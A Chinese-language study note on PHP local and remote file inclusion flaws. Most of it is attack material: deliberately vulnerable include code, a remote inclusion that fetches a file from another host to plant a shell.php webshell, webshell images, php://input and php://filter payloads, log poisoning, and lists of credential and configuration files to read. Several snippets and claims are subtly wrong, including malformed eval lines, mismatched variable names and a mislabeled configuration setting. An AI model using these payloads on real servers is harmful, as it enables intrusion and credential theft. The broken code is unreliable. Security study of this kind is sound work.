文件包含漏洞学习笔记

0x00 前言

​ 程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件而无需再次编写,这种调用文件的过程被称为包含。被包含的文件设置为变量,用来动态调用时,导致客户端可以调用一个恶意文件,造成文件包含漏洞。

0x01 文件包含函数

  • require:找不到被包含文件时会产生错误(E_COMPILE_ERROR),并停止脚本
  • include:找不到被包含文件时只会产生警告(E_WARNING),脚本将继续执行
  • include_once:同include,若该文件中的代码已经被包含,则不会再次包含
  • require_once:同require,若该文件中的代码已经被包含,则不会再次包含

0x02 漏洞形成条件

  • allow_url_fopen=On(本地包含)
  • allow_url_include=On(远程包含)
  • 用户可以动态控制变量

0x03 本地包含(Local File Include)

  • index.php文件中包含phpinfo.txt

    phpinfo.txt:
    <?php
    	phpinfo();
    ?>
    
    index.php:
    <?php
    	include("phpinfo.txt");
    ?>
    
  • 任意文件包含

    <?php
        $filename  = $_GET['filename'];
        include($filename);
    ?>
    

    $filename可控且参数没有做任何过滤时,输入恶意文件,导致执行非预期的代码

  • 文件内容符合php语法规范,任何扩展名都可以被php解析

  • 包含非php语法规范文件时,将会暴露其源代码

0x04 远程包含(Remote File Include)

  • 任意远程文件包含
index.php:
<?php
	$filename = $_GET['page'];
	include($page);
?>

phpinfo.txt:
<?php
	phpinfo();
?>
http://www.xxer.com/index.php?page=http://192.168.31.87/fi/phpinfo.txt

0x05 文件包含利用

读取敏感文件

  • Windows系统
C:\boot.ini							     //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml   //IIS配置文件
C:\windows\repair\sam					 //存储Windows系统初次安装的密码
C:\Program Files\mysql\my.ini			  //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini						 //php配置信息
C:\windows\my.ini						 //Mysql配置文件
  • UNIX/Linux系统
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf			  //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf//虛拟网站设置
/usr/local/app/php5/lib/php.ini					 //PHP相关设置
/etc/httpd/conf/httpd.conf						//apache配置文件
/etc/my.cnf	  							       //Mysql的配置文件

远程包含shell

echo.txt:
<?fputs(fopen("shell.php","w"),"<?php eval_($POST['0xdawn'];)?>")?>

访问 http://www.xxer.com/index.php?page=http://192.168.31.87/echo.txt
将会在index.php所在目录下生成shell.php

本地包含+文件上传

shell.jpg:
<?fputs(fopen("shell.php","w"),"<?php eval_($POST['0xdawn'];)?>")?>

上传一句话木马图片到服务器,路径为/uploadfile/shell.jpg

访问 http://www.xxer.com/index.php?page=./uploadfile/shell.jpg
将会在index.php所在目录下生成shell.php

php封装协议

名称 含义
file:// 访问本地文件
http:// 访问http网址
ftp:// 访问FTP URL
php:// 访问输入/输出流
zlib:// 压缩流
data:// 数据
ssh2:// secure shell 2
expect:// 处理交互式流
glob:// 查找匹配的文件路径
  • 读取php文件
http://www.xxer.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php

得到base64加密后的php源代码

  • 写入php文件
http://www.xxer.com/index.php?page=php://input
POST:<?fputs(fopen("shell.php"),"<?php eval($POST['0xdawn']);?>")?>

在index.php目录下生成shell.php

  • 包含apache日志文件

Apache运行后默认生成两个日志文件,access.log(访问日志)和error.log(错误日志)

访问url:http://www.xxer.com/<?php phpinfo();?>,Apache记录请求并写入access.log文件

  • 绕WAF

上传一句话木马图片再在php文件中包含这个木马图片,可以绕过部分杀软

0x06 安全编写包含

  • 严格判断包含中的参数是否外部可控
  • 限制被包含的文件只能在某一文件夹中,进制目录跳转字符
  • 验证被包含的文件是否在白名单中
  • 尽量不使用动态包含
发布了22 篇原创文章 · 获赞 24 · 访问量 1976

猜你喜欢

转载自blog.csdn.net/weixin_43872099/article/details/102907178